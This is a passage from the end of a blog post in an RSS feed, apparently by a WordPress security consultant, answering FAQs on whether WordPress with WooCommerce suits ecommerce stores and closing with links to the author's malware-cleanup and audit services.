&lt;p&gt;For a deeper hardening walkthrough, see &lt;a href="https://www.mdpabel.com/blog/how-to-secure-a-wordpress-site/" rel="noopener noreferrer"&gt;how to secure a WordPress site&lt;/a&gt; and &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-security-tips-keep-your-site-safe-in-2025-42pp"&gt;WordPress security tips for 2025&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQs: Is WordPress Good for Ecommerce?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Is WordPress good for ecommerce websites?
&lt;/h3&gt;

&lt;p&gt;Yes. WordPress paired with WooCommerce powers about 33% of all ecommerce websites globally and over 4.5 million active stores. It’s a strong choice for most small-to-mid sized stores, especially those that rely on content marketing or need deep customization. The trade-off is that you’re responsible for maintenance, security, and hosting.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is WordPress secure for ecommerce?
&lt;/h3&gt;

&lt;p&gt;WordPress is secure for ecommerce when properly maintained. WordPress core itself rarely gets compromised — most ecommerce hacks come through outdated plugins, weak passwords, or cheap hosting. If you use a payment processor with iframe checkout (Stripe, PayPal), keep plugins updated, run 2FA, and choose decent hosting, your store is genuinely secure. If you ignore those basics, you’ll eventually have problems.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is WordPress good for ecommerce sites with thousands of products?
&lt;/h3&gt;

&lt;p&gt;Yes. WooCommerce handles large catalogs well, especially with the 2026 introduction of High-Performance Order Storage (HPOS). I’ve worked on a WooCommerce site with over 37,000 products running smoothly. The keys are proper hosting, database optimization, and avoiding plugin bloat — not the platform itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is WordPress better than Shopify for ecommerce?
&lt;/h3&gt;

&lt;p&gt;It depends on your situation. WordPress is better for content-driven stores, custom checkouts, lower long-term costs, and full control. Shopify is better for hands-off founders, high-volume B2C brands, and teams without technical capacity. Both are great platforms — they just optimize for different priorities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can WordPress handle a high-traffic ecommerce store?
&lt;/h3&gt;

&lt;p&gt;Yes, but only with proper infrastructure. Stores doing $1M+ on WooCommerce are routine. Performance depends on hosting quality, caching, database tuning, and plugin discipline — not the platform itself. WooCommerce on cheap shared hosting will struggle. WooCommerce on Kinsta or Cloudways with proper caching will handle serious traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does WordPress have transaction fees for ecommerce?
&lt;/h3&gt;

&lt;p&gt;WordPress and WooCommerce themselves charge zero transaction fees. Your only fees come from your payment processor — typically Stripe at 2.9% + 30¢, PayPal at similar rates, or whatever your regional processor charges. This is a meaningful long-term saving versus Shopify’s platform fees.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s the biggest risk of using WordPress for ecommerce?
&lt;/h3&gt;

&lt;p&gt;From my experience cleaning up hacked stores: it’s neglect, not the platform. Stores that get compromised almost always had outdated plugins, weak admin passwords, no 2FA, or cheap hosting — sometimes all four. WordPress ecommerce is safe if you treat it like a real business asset. It’s risky if you set it and forget it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do I need a developer to run a WooCommerce store?
&lt;/h3&gt;

&lt;p&gt;Not for setup. The default WooCommerce installation handles basic stores well. You’ll likely want a developer for custom designs, complex integrations, performance tuning at scale, or recovery if something breaks. Many small stores run for years without a developer; mid-size stores usually have one on retainer.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line: Is WordPress Good for Ecommerce?
&lt;/h2&gt;

&lt;p&gt;Yes — for the right business. WordPress with WooCommerce is the most flexible, content-friendly, and cost-effective ecommerce platform on the market. It’s why over 4.5 million stores run on it. It’s why content-heavy brands consistently pick it over Shopify.&lt;/p&gt;

&lt;p&gt;The honest caveats: WordPress ecommerce rewards owners who treat their store like the business asset it is. Updates, decent hosting, security hygiene, and occasional check-ins. None of this is hard. All of it is your responsibility — not your platform’s.&lt;/p&gt;

&lt;p&gt;If your store is already on WordPress and something feels off — slow checkout, weird redirects, customers reporting card fraud — don’t wait. The longer payment skimmers and ecommerce malware sit, the worse the financial and reputational damage. You can &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;request a malware cleanup here&lt;/a&gt; or &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;contact me&lt;/a&gt; for a security audit specific to your WooCommerce store.&lt;/p&gt;

&lt;p&gt;If you’re still in the choosing-a-platform phase, my honest take after thousands of cleanups: WordPress is the right choice for most stores, but only if you’re willing to invest 1–2 hours per month in maintenance. If even that sounds like too much, Shopify will save you headaches at the cost of long-term flexibility. There’s no wrong answer — only the wrong fit.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>webdev</category>
      <category>wordpress</category>
    </item>
  </channel>
</rss>
